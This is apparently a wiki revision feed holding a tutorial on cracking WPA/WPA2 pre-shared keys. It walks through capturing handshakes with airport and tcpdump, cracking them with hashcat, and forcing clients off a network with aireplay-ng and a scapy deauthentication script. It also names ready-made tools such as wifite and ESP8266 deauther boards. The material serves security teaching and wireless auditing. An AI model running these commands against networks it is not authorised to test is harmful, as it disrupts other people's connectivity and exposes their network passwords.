  -c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;]    Set arbitrary channel on the card&lt;br /&gt;
  -z        --disassociate       Disassociate from any network&lt;br /&gt;
  -I        --getinfo            Print current wireless status, e.g. signal info, BSSID, port type etc.&lt;br /&gt;
  -s[&amp;lt;arg&amp;gt;] --scan=[&amp;lt;arg&amp;gt;]       Perform a wireless broadcast scan. &lt;br /&gt;
                                 Will perform a directed scan if the optional &amp;lt;arg&amp;gt; is provided&lt;br /&gt;
  -x        --xml                Print info as XML&lt;br /&gt;
  -P        --psk                Create PSK from specified pass phrase and SSID.&lt;br /&gt;
           The following additional arguments must be specified with this command:&lt;br /&gt;
                                   --password=&amp;lt;arg&amp;gt;  Specify a WPA password&lt;br /&gt;
                                   --ssid=&amp;lt;arg&amp;gt;      Specify SSID when creating a PSK&lt;br /&gt;
  -h        --help               Show this help&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt;, &amp;lt;i&amp;gt;airodump-ng&amp;lt;/i&amp;gt; and &amp;lt;i&amp;gt;aireplay-ng&amp;lt;/i&amp;gt; don&#039;t work on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; works exclusively on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Scan&lt;br /&gt;
 sudo airport -s&lt;br /&gt;
    SSID     BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)&lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72  11      Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57  1       Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66  36      Y  de WPA2     (PSK/AES/AES)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Handshake ===&lt;br /&gt;
==== The Easy way ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Sniff -  Ctrl-C to stop capturing&lt;br /&gt;
sudo airport $INTERFACE sniff $CHANNEL&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: It saves the .cap capture file to /tmp and displays the path plus filename.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== The Good way ====&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;By using &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt; or &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Disassociate from any network: (-z --disassociate)&lt;br /&gt;
sudo airport -z&lt;br /&gt;
# Set arbitrary channel on the card: (-c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;])&lt;br /&gt;
sudo airport -c$CHANNEL&lt;br /&gt;
&lt;br /&gt;
# Capture a beacon frame from the AP&lt;br /&gt;
sudo tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE&amp;lt; -w beacon.cap&lt;br /&gt;
# Wait for the WPA handshake&lt;br /&gt;
sudo tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -U -vvv -i $INTERFACE -w handshake.cap&lt;br /&gt;
&lt;br /&gt;
# Merge the two files&lt;br /&gt;
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack PSK ===&lt;br /&gt;
The .cap file obtained in the previous steps can only be cracked directly with &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt;. But this can be done more effectively using &amp;lt;i&amp;gt;hashcat&amp;lt;/i&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Convert .cap to .hcapx file (Part of hashcat-utils)&lt;br /&gt;
cap2hccapx capture.cap capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Crack using a simple dictionary attack:&lt;br /&gt;
hashcat -m 2500 capture.hccapx wordlist.txt&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Deauthentication attack ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a &lt;br /&gt;
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: Four-Way Handshake (4WHS)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A four-way handshake can be analysed using Wireshark or &amp;lt;code&amp;gt;tcpdump&amp;lt;/code&amp;gt;, filtering for &amp;lt;code&amp;gt;eapol&amp;lt;/code&amp;gt; messages or better filtering for &amp;lt;code&amp;gt;ether proto 0x888e and ether host $BSSID&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt; # link-type IEEE802_11_RADIO (802.11 plus radiotap header)&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i en0 -vvv -e -A -XX&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_1.png|4WHS (Message 1 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  8165 aa01 0000 0000 1002 7609 8004 d2a5  .e........v.....&lt;br /&gt;
  0x0020:  0000 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 938d 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 0000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0200 8a00  ..........._....&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 01ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00b0:  0000 0000 0000 0000 0000 0041 e6a6 5d    ...........A..]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=530px&amp;gt;&lt;br /&gt;
image:4WH_2.png|4WHS (Message 2 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  1a76 aa01 0000 0000 1002 7609 8004 eca5  .v........v.....&lt;br /&gt;
  0x0020:  0001 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 4355 fdb7 8801 3a01 98da c46e 00fc  ..CU....:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 0000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0075 0201 0a00  ...........u....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 01bc 67eb 5bfb 4355  ..........g.[.CU&lt;br /&gt;
  0x0070:  f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8  ......`.a...tQ..&lt;br /&gt;
  0x0080:  841c 7d17 dde7 0c47 3300 0000 0000 0000  ..}....G3.......&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0051 17b2 89fc 6428  .........Q....d(&lt;br /&gt;
  0x00b0:  2564 ab92 3571 a67f af00 1630 1401 0000  %d..5q.....0....&lt;br /&gt;
  0x00c0:  0fac 0401 0000 0fac 0401 0000 0fac 0200  ................&lt;br /&gt;
  0x00d0:  0010 afc4 e7                             .....&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_3.png|4WHS (Message 3 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  6f80 aa01 0000 0000 1002 7609 8004 d2a5  o.........v.....&lt;br /&gt;
  0x0020:  0013 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 1000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0097 0213 ca00  ................&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 02ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0100 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 00e4 ef65 1d4f f0c1  ...........e.O..&lt;br /&gt;
  0x00b0:  62be d858 a5ed dab9 bf00 38de c04c 2c9d  b..X......8..L,.&lt;br /&gt;
  0x00c0:  9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4  ...s...&#039;Q.......&lt;br /&gt;
  0x00d0:  8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6  .[..s:..l..R....&lt;br /&gt;
  0x00e0:  4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3  Jz/....)....U.s.&lt;br /&gt;
  0x00f0:  43f9 a8a8 bc98 d2                        C......&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_4.png|4WHS (Message 4 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  cc8d aa01 0000 0000 1002 7609 8004 eca5  ..........v.....&lt;br /&gt;
  0x0020:  0003 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 0000 938d 8801 3a01 98da c46e 00fc  ........:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 1000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0203 0a00  ..........._....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 0200 0000 0000 0000  ................&lt;br /&gt;
  0x0070:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0080:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0009 4d26 1f94 47b2  ..........M&amp;amp;..G.&lt;br /&gt;
  0x00b0:  8fcb 0e44 a9b7 3cea 4500 002c f10f 7c    ...D..&amp;lt;.E..,..|&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Deauther are often mistakenly described as a jammer, even though that is not the case.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
&lt;br /&gt;
Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using &amp;lt;code&amp;gt;aircrack-ng&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt;. Alternatively use &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt; to manually execute a deauthentication attack, as shown below.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;# Configuration&lt;br /&gt;
station = &amp;quot;ff:ff:ff:ff:ff:ff&amp;quot;&lt;br /&gt;
bssid = &amp;quot;00:00:00:00:00:00&amp;quot;&lt;br /&gt;
interface = &amp;quot;wlan0mon&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Craft and send 802.11 frame&lt;br /&gt;
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)&lt;br /&gt;
packet = RadioTap()/dot11/Dot11Deauth(reason=7)&lt;br /&gt;
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;code&amp;gt;$STA&amp;lt;/code&amp;gt; may be &amp;lt;code&amp;gt;ff:ff:ff:ff:ff:ff&amp;lt;/code&amp;gt;. MAC’s must be lowercase!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== D-Stike Deauther ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. &amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/spacehuhn/esp8266_deauther&lt;br /&gt;
&lt;br /&gt;
=== Other tools ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.&amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/unixpickle/JamWiFi&lt;br /&gt;
* https://github.com/0x0XDev/JamWiFi&lt;br /&gt;
&lt;br /&gt;
= Used Hardware =&lt;br /&gt;
&lt;br /&gt;
* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)&lt;br /&gt;
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)&lt;br /&gt;
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)&lt;br /&gt;
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)&lt;br /&gt;
* DSTIKE Deauther Watch V1&lt;br /&gt;
&lt;br /&gt;
= Courses =&lt;br /&gt;
&lt;br /&gt;
* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019 &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)&lt;br /&gt;
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)&lt;br /&gt;
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)&lt;br /&gt;
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17565</id>
		<title>WPA/WPA2 PSK deauthentication attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17565"/>
		<updated>2024-12-18T17:49:01Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* Capture handshake */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Summary = &lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= TL;DR =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;For those using Kali Linux (&amp;gt;2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, &amp;lt;code&amp;gt;[https://github.com/derv82/wifite2 wifite]&amp;lt;/code&amp;gt; is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments &amp;amp; switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.&amp;lt;/p&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Generic: One command to rule them all&lt;br /&gt;
sudo wifite&lt;br /&gt;
&lt;br /&gt;
# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture&lt;br /&gt;
sudo wifite --wpa --no-wps --no-pmkid&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Requirements =&lt;br /&gt;
== Mandatory ==&lt;br /&gt;
=== GNU/Linux ===&lt;br /&gt;
- Install aircrack-ng suite: &lt;br /&gt;
* Debian based distributions: &amp;lt;code&amp;gt;sudo apt install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Arch based distributions: &amp;lt;code&amp;gt;sudo pacman -S aicrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== macOS ===&lt;br /&gt;
* Optional: Install &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt; suite: &amp;lt;code&amp;gt;brew install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install tcpdump&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;wireshark&amp;lt;/i&amp;gt; to use &amp;lt;i&amp;gt;mergecap&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install wireshark&amp;lt;/code&amp;gt;&lt;br /&gt;
* Enable &#039;hidden&#039; airport feature: &amp;lt;code&amp;gt;sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Optional ==&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
* Clone GIT repository: &amp;lt;code&amp;gt;git clone https://github.com/hashcat/hashcat.git&amp;lt;/code&amp;gt;&lt;br /&gt;
* Build: &amp;lt;code&amp;gt;cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&amp;lt;/code&amp;gt;&lt;br /&gt;
* Link: &amp;lt;code&amp;gt;sudo ln -s ./hashcat /usr/local/bin/hashcat&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
* Install: &amp;lt;code&amp;gt;pip install scapy&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Background =&lt;br /&gt;
== Problem==&lt;br /&gt;
